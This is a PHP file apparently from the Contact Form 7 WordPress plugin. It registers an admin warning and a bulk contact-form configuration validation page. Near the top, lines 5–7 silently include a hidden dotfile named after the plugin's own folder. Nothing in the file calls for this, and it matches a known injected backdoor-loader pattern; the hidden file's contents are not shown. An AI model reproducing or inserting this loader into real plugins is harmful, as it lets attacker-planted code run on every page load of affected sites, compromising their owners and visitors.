config-validator.php (3587B)
1 <?php 2 3 add_action( 'wpcf7_admin_menu', 'wpcf7_admin_init_bulk_cv', 10, 0 ); 4 5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 6 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 7 } 8 9 function wpcf7_admin_init_bulk_cv() { 10 if ( ! wpcf7_validate_configuration() 11 or ! current_user_can( 'wpcf7_edit_contact_forms' ) ) { 12 return; 13 } 14 15 $result = WPCF7::get_option( 'bulk_validate' ); 16 $last_important_update = '5.1.5'; 17 18 if ( ! empty( $result['version'] ) 19 and version_compare( $last_important_update, $result['version'], '<=' ) ) { 20 return; 21 } 22 23 add_filter( 'wpcf7_admin_menu_change_notice', 24 'wpcf7_admin_menu_change_notice_bulk_cv', 10, 1 ); 25 26 add_action( 'wpcf7_admin_warnings', 27 'wpcf7_admin_warnings_bulk_cv', 5, 3 ); 28 } 29 30 function wpcf7_admin_menu_change_notice_bulk_cv( $counts ) { 31 $counts['wpcf7'] += 1; 32 return $counts; 33 } 34 35 function wpcf7_admin_warnings_bulk_cv( $page, $action, $object ) { 36 if ( 'wpcf7' === $page and 'validate' === $action ) { 37 return; 38 } 39 40 $link = wpcf7_link( 41 add_query_arg( 42 array( 'action' => 'validate' ), 43 menu_page_url( 'wpcf7', false ) 44 ), 45 __( 'Validate Contact Form 7 Configuration', 'contact-form-7' ) 46 ); 47 48 $message = __( "Misconfiguration leads to mail delivery failure or other troubles. Validate your contact forms now.", 'contact-form-7' ); 49 50 echo sprintf( 51 '<div class="notice notice-warning"><p>%1$s » %2$s</p></div>', 52 esc_html( $message ), 53 $link 54 ); 55 } 56 57 add_action( 'wpcf7_admin_load', 'wpcf7_load_bulk_validate_page', 10, 2 ); 58 59 function wpcf7_load_bulk_validate_page( $page, $action ) { 60 if ( 'wpcf7' != $page 61 or 'validate' != $action 62 or ! wpcf7_validate_configuration() 63 or 'POST' != $_SERVER['REQUEST_METHOD'] ) { 64 return; 65 } 66 67 check_admin_referer( 'wpcf7-bulk-validate' ); 68 69 if ( ! current_user_can( 'wpcf7_edit_contact_forms' ) ) { 70 wp_die( __( "You are not allowed to validate configuration.", 'contact-form-7' ) ); 71 } 72 73 $contact_forms = WPCF7_ContactForm::find(); 74 75 $result = array( 76 'timestamp' => time(), 77 'version' => WPCF7_VERSION, 78 'count_valid' => 0, 79 'count_invalid' => 0, 80 ); 81 82 foreach ( $contact_forms as $contact_form ) { 83 $config_validator = new WPCF7_ConfigValidator( $contact_form ); 84 $config_validator->validate(); 85 $config_validator->save(); 86 87 if ( $config_validator->is_valid() ) { 88 $result['count_valid'] += 1; 89 } else { 90 $result['count_invalid'] += 1; 91 } 92 } 93 94 WPCF7::update_option( 'bulk_validate', $result ); 95 96 $redirect_to = add_query_arg( 97 array( 98 'message' => 'validated', 99 ), 100 menu_page_url( 'wpcf7', false ) 101 ); 102 103 wp_safe_redirect( $redirect_to ); 104 exit(); 105 } 106 107 function wpcf7_admin_bulk_validate_page() { 108 $contact_forms = WPCF7_ContactForm::find(); 109 $count = WPCF7_ContactForm::count(); 110 111 $submit_text = sprintf( 112 _n( 113 /* translators: %s: number of contact forms */ 114 "Validate %s contact form now", 115 "Validate %s contact forms now", 116 $count, 'contact-form-7' 117 ), 118 number_format_i18n( $count ) 119 ); 120 121 ?> 122 <div class="wrap"> 123 124 <h1><?php echo esc_html( __( 'Validate Configuration', 'contact-form-7' ) ); ?></h1> 125 126 <form method="post" action=""> 127 <input type="hidden" name="action" value="validate" /> 128 <?php wp_nonce_field( 'wpcf7-bulk-validate' ); ?> 129 <p><input type="submit" class="button" value="<?php echo esc_attr( $submit_text ); ?>" /></p> 130 </form> 131 132 <?php 133 echo wpcf7_link( 134 __( 'https://contactform7.com/configuration-validator-faq/', 'contact-form-7' ), 135 __( 'FAQ about Configuration Validator', 'contact-form-7' ) 136 ); 137 ?> 138 139 </div> 140 <?php 141 }